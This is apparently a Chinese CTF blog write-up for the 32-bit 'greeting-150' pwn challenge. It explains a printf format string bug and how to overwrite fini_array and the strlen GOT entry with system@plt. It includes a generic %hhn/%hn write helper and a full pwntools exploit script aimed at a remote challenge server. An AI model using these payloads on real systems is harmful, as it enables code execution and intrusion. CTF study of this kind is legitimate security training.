• greeting-150


    greeting-150

    保护

        Arch:     i386-32-little
        RELRO:    No RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    

    漏洞

    字符串漏洞

    源代码

      char s; // [esp+1Ch] [ebp-84h]
      char v5; // [esp+5Ch] [ebp-44h]
      unsigned int v6; // [esp+9Ch] [ebp-4h]
    
      v6 = __readgsdword(0x14u);
      printf("Please tell me your name... ");
      if ( !getnline(&v5, 0x40) )
        return puts("Don't ignore me ;( ");
      sprintf(&s, "Nice to meet you, %s :)
    ", &v5);
      return printf(&s); #字符串漏洞
    

    利用

    由于程序中只有一个字符串漏洞, 执行字符串漏洞后结束,这时就需要覆盖fini_array为start函数进行再次执行程序同时修改strlen的got表为system plt地址.

    简单介绍一下: fini_array, 在main函数前会调用.init段代码和.init_array段的函数数组中每一个函数指针。同样的,main函数结束后也会调用.fini段代码和.fini._arrary段的函数数组中的每一个函数指针

    字符串漏洞设置大的值注意的地方

    hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数
    h  对于整数类型,printf期待一个从short提升的int尺寸的整型参数
    
    1. 第一次%xc%hhn的时候,要扣掉前面摆放的address的长度。比如32位时,其前面会摆放4个地址,这个时候就是x需要减去4x4 = 16.
    2. 之后每个%xc 必需扣掉前一个写入 byte 的值总字符数才会是这个写入需要的长度。比如 第一次写入值为 90 第二个写入 120 此时应为%30c% offset$hhn
    3. 当某一次写入的值比前面写入的要小的时候,就需要整数overflow回来。比如:需要写入的一个字节,用的是hhn的时候,前面那次写入的是0x80,这次写入的是0x50,这时候就用0x50可以加上0x100(256)=0x150 (这时候因为是hhn,在截取的时候就是截取的0x50), 再减去0x80 = 0xD0(208),也就是填入%208c%offset$hhn即可

    单字节覆盖常用脚本(ctf-wiki):

    def fmt(prev, word, index): # prev: payload 长度,  word: 单个字符, index: 偏移地址 + i
        if prev < word: #若payload长度小于单个字符的值时
            result = word - prev
            fmtstr = "%" + str(result) + "c" #直接写入差值,补齐
        elif prev == word: #若payload长度等于单个字符的值时
            result = 0 #不写
        else:       #若payload长度大于单个字符的值时
            result = 256 + word - prev  #通过单个字符溢出来打
            fmtstr = "%" + str(result) + "c"
        fmtstr += "%" + str(index) + "$hhn" #添加自payload
        return fmtstr
    
    
    def fmt_str(offset, size, addr, target):
        payload = ""
        for i in range(4):
            if size == 4:
                payload += p32(addr + i) #32位将要覆盖的地址
            else:
                payload += p64(addr + i) #64位将要覆盖的地址
        prev = len(payload) #获取payload长度
        for i in range(4):
            #传入,payload长度, 目标字节, 偏移
            payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
            prev = (target >> i * 8) & 0xff
        return payload
    
    #fmt_str(12, 4, exe.got['strlen'], exe.plt['system'])
    '''
    其中每个参数的含义基本如下
        offset表示要覆盖的地址最初的偏移
        size表示机器字长
        addr表示将要覆盖的地址。
        target表示我们要覆盖为的目的变量值。
    '''
    

    通过上面的介绍, 根据以上脚本写字符串漏洞原理写exp

    exp

    #!/usr/bin/env python
    #-*- coding:utf-8 -*-
    
    # Author: I0gan
    # Team  : D0g3
    
    from pwn import *
    #from LibcSearcher import LibcSearcher
    
    #context.log_level='debug'
    #context.terminal = ['konsole', '-x', 'bash', 'c']
    #context.terminal = 'konsole'
    context(arch = 'i386', os = 'linux', log_level='debug')
    #context(arch = 'amd64', os = 'linux', log_level='debug')
    
    exeFile  = "greeting-150"
    libFile  = ""
    
    remoteIp = "111.198.29.45"
    remotePort = 46553
    
    LOCAL = 0
    LIBC  = 0
    
    r   =  lambda x : io.recv(x)
    ra  =  lambda   : io.recvall()
    rl  =  lambda   : io.recvline(keepends = True)
    ru  =  lambda x : io.recvuntil(x, drop = True)
    sl  =  lambda x : io.sendline(x)
    sa  =  lambda x, y : io.sendafter(x, y)
    sla =  lambda x, y : io.sendlineafter(x, y)
    ia  =  lambda : io.interactive()
    c   =  lambda : io.close()
    pd32  = lambda x : p32(x).decode() #python3 not surport str + bytes
    pd64  = lambda x : p64(x).decode()
    li    = lambda x : log.info(x)
    db    = lambda   : gdb.attach(io)
    
    #--------------------------Func-----------------------------
    
    #--------------------------Exploit--------------------------
    def exploit():
    	ru('... ')
    
    	strlen_got = exe.got['strlen']
    	# ELF Termination Funciton Talbe
    	# strlen_got 0x08049a54
    	fini_array = 0x08049934
    	start_addr = 0x080484F0
    	system_plt = 0x08048490
    
    	# 'Nice to meet you, %s:)' + str
    	# offset 12
    	offset = 12
    	prelen = len('Nice to meet you, ')
    
    	li('strlen_got: ' + hex(strlen_got))
    	li('fini_array: ' + hex(fini_array))
    	
    	p = 'AA' #aliament
    	p += p32(strlen_got + 2)
    	p += p32(fini_array + 2)
    
    	p += p32(strlen_got)
    	p += p32(fini_array)
    	#modify highword(strlen_got)
    	p += '%' + str(0x0804 - 0x12 - prelen) + 'c%' + str(offset) + '$hn' 
        #modify highword(fini_arry_addr) 
    	p += '%' + str(offset + 1) + '$hn'
    
    	#modify lowword(system_plt)
    	p += '%' + str(0x8490 - 0x804) + 'c%' + str(offset + 2) + '$hn'
    	#modify lowword(fini_plt)
    	p += '%' + str(0x84F0 - 0x8490) + 'c%' + str(offset + 3) + '$hn'
    
    	sl(p)
    
    def finish():
    	ia()
    	c()
    
    #--------------------------Main-----------------------------
    if __name__ == '__main__':
    	
    	if LOCAL:
    		exe = ELF(exeFile)
    		if LIBC:
    			libc = ELF(libFile)
    			io = exe.process(env = {"LD_PRELOAD" : libFile})
    		else:
    			io = exe.process()
    		
    	
    	else:
    		exe = ELF(exeFile)
    		io = remote(remoteIp, remotePort)
    		if LIBC:
    			libc = ELF(libFile)
    	
    	exploit()
    	finish()
        
    
    
  • 相关阅读:
    Python基础之列表功能
    python基础之字符串基本功能
    Linux服务器上搭建codis集群之——安装前环境准备
    centos7环境开启WIFI热点
    升级glibc、gcc、zlib等
    修复Nginx 502错误:upstream sent too big header while reading response header from upstream
    PS 命令详解
    Linux下网络文件系统NFS服务搭建易错点总结
    2020美赛建模竞赛一等奖经验心得分享
    团队获奖总结
  • 原文地址:https://www.cnblogs.com/lyxf/p/12612843.html
Copyright © 2020-2023  润新知